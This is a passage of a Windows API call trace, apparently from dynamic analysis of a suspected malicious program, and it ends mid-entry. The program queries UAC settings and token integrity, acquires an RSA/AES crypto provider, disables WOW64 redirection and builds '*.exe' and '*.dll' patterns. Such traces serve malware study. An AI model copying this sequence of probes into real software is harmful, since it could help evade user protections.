[0247.618] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc5a0 [0247.618] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc5a0) returned 1 [0247.618] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc5a0 [0247.618] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc5a0) returned 1 [0247.618] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc5a0 [0247.618] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc5a0) returned 1 [0247.618] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc5a0 [0247.618] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc5a0) returned 1 [0247.618] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc5a0 [0247.618] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.618] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd1f8) returned 1 [0247.618] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.618] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd1e8) returned 1 [0247.618] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.618] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd208) returned 1 [0247.618] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc168) returned 1 [0247.618] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd218) returned 1 [0247.618] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc1b0) returned 1 [0247.618] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0247.618] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x23fc480, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x23fc480*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0247.618] RegCloseKey (hKey=0x38) returned 0x0 [0247.618] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc14 | out: TokenHandle=0x18fc14*=0x38) returned 1 [0247.619] GetTokenInformation (in: TokenHandle=0x38, TokenInformationClass=0x14, TokenInformation=0x18fc10, TokenInformationLength=0x4, ReturnLength=0x18fc0c | out: TokenInformation=0x18fc10, ReturnLength=0x18fc0c) returned 1 [0247.619] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc00 | out: TokenHandle=0x18fc00*=0xc4) returned 1 [0247.619] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbfc | out: TokenInformation=0x0, ReturnLength=0x18fbfc) returned 0 [0247.619] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc5a0 [0247.619] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x23fc5a0, TokenInformationLength=0x14, ReturnLength=0x18fbfc | out: TokenInformation=0x23fc5a0, ReturnLength=0x18fbfc) returned 1 [0247.619] GetSidSubAuthorityCount (pSid=0x23fc5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000)) returned 0x23fc5a9 [0247.619] GetSidSubAuthority (pSid=0x23fc5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000), nSubAuthority=0x0) returned 0x23fc5b0 [0247.619] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc5a0) returned 1 [0247.619] NtClose (Handle=0xc4) returned 0x0 [0247.619] GetSystemInfo (in: lpSystemInfo=0x18fd48 | out: lpSystemInfo=0x18fd48*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0247.619] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x6c) returned 0x23fb860 [0247.619] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc5a0 [0247.619] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xc4 [0247.619] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc480 [0247.619] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc438 [0247.619] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc558 [0247.619] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc510 [0247.619] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x5000) returned 0x280048 [0247.620] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc4c8 [0247.620] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc4c8) returned 1 [0247.620] CryptAcquireContextW (in: phProv=0x18fd5c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fd5c*=0x632348) returned 1 [0247.635] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x280048) returned 1 [0247.635] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fb8d8 [0247.635] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fb960 [0247.635] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc4c8 [0247.635] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fb9e8 [0247.635] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fba70 [0247.635] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc3f0 [0247.635] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbaf8 [0247.635] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc3a8 [0247.635] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x5000) returned 0x280048 [0247.635] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc360 [0247.635] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc360) returned 1 [0247.635] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0247.646] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x280048) returned 1 [0247.646] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x62d020, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0247.646] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc360 [0247.646] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0247.646] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc360) returned 1 [0247.646] GetLastError () returned 0x0 [0247.646] LocalFree (hMem=0x62d020) returned 0x0 [0247.646] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc360 [0247.646] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x5000) returned 0x280048 [0247.646] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc318 [0247.646] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc318) returned 1 [0247.646] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0247.648] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x280048) returned 1 [0247.648] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x62d020, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0247.648] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc318 [0247.648] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x114 [0247.648] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc318) returned 1 [0247.648] GetLastError () returned 0x0 [0247.648] LocalFree (hMem=0x62d020) returned 0x0 [0247.648] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc318 [0247.648] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x5000) returned 0x280048 [0247.648] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc2d0 [0247.648] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc2d0) returned 1 [0247.648] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0247.650] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x280048) returned 1 [0247.650] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x62d020, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0247.650] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc2d0 [0247.650] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x118 [0247.650] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc2d0) returned 1 [0247.650] GetLastError () returned 0x0 [0247.650] LocalFree (hMem=0x62d020) returned 0x0 [0247.650] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x2800) returned 0x280048 [0247.650] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbb80 [0247.650] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc2d0 [0247.650] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd8c | out: OldValue=0x18fd8c*=0x0) returned 1 [0247.650] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x2800) returned 0x282850 [0247.650] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.650] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.650] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x10) returned 0x23fd5e8 [0247.650] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2d8 [0247.650] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.650] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc1f8 [0247.650] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc1f8) returned 1 [0247.650] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.650] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd2d8) returned 1 [0247.650] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd5e8) returned 1 [0247.650] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x282850) returned 1 [0247.650] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x2800) returned 0x282850 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.651] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x10) returned 0x23fd5e8 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2d8 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc1f8 [0247.651] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2c8 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x10) returned 0x23fd600 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2b8 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc1b0 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2a8 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc168 [0247.651] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc1f8) returned 1 [0247.651] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd2d8) returned 1 [0247.651] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.651] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd2c8) returned 1 [0247.651] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd5e8) returned 1 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.651] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.651] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x10) returned 0x23fd5e8 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2c8 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2d8 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc1f8 [0247.651] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc1b0) returned 1 [0247.651] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd2b8) returned 1 [0247.651] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc168) returned 1 [0247.651] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd2a8) returned 1 [0247.651] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd600) returned 1 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x10) returned 0x23fd600 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2a8 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc168 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2b8 [0247.651] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc1b0 [0247.652] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.652] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd2c8) returned 1 [0247.652] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc1f8) returned 1 [0247.652] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd2d8) returned 1 [0247.652] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd5e8) returned 1 [0247.652] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x10) returned 0x23fd5e8 [0247.652] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2d8 [0247.652] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc1f8 [0247.652] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2c8 [0247.652] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.652] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc168) returned 1 [0247.652] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd2a8) returned 1 [0247.652] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc1b0) returned 1 [0247.652] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd2b8) returned 1 [0247.652] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd600) returned 1 [0247.652] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x282850) returned 1 [0247.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0247.652] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fd9d0 [0247.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc1f8, cbMultiByte=5, lpWideCharStr=0x23fd9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0247.652] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fda58 [0247.652] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd9d0) returned 1 [0247.652] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x10) returned 0x23fd600 [0247.652] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2b8 [0247.652] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fd9d0 [0247.652] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fda58) returned 1 [0247.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0247.652] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fda58 [0247.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23fc288, cbMultiByte=5, lpWideCharStr=0x23fda58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0247.652] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fdae0 [0247.652] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fda58) returned 1 [0247.652] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2a8 [0247.652] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fda58 [0247.652] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fdae0) returned 1 [0247.652] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc1f8) returned 1 [0247.652] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd2d8) returned 1 [0247.652] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.652] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd2c8) returned 1 [0247.653] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd5e8) returned 1 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x2800) returned 0x282850 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.653] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x10) returned 0x23fd5e8 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2c8 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc1f8 [0247.653] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd2d8 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc1b0 [0247.653] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd298 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc168 [0247.653] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd288 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.653] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x20) returned 0x23fbc08 [0247.653] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd5e8) returned 1 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd278 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.653] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd268 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.653] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd258 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x20) returned 0x285058 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd248 [0247.653] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc5e8 [0247.654] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd238 [0247.654] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc630 [0247.654] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd228 [0247.654] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc678 [0247.654] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd218 [0247.654] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc6c0 [0247.654] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd208 [0247.654] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc708 [0247.654] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd1e8 [0247.654] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc750 [0247.654] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x8) returned 0x23fd1f8 [0247.654] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc798 [0247.654] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc1f8) returned 1 [0247.654] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd2c8) returned 1 [0247.654] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc1b0) returned 1 [0247.654] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd2d8) returned 1 [0247.654] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc168) returned 1 [0247.654] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd298) returned 1 [0247.654] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.654] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd288) returned 1 [0247.654] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.654] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd278) returned 1 [0247.654] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.654] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd268) returned 1 [0247.654] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.654] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd258) returned 1 [0247.654] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbc08) returned 1 [0247.654] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc288 [0247.654] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc288) returned 1 [0247.654] RtlAllocateHeap 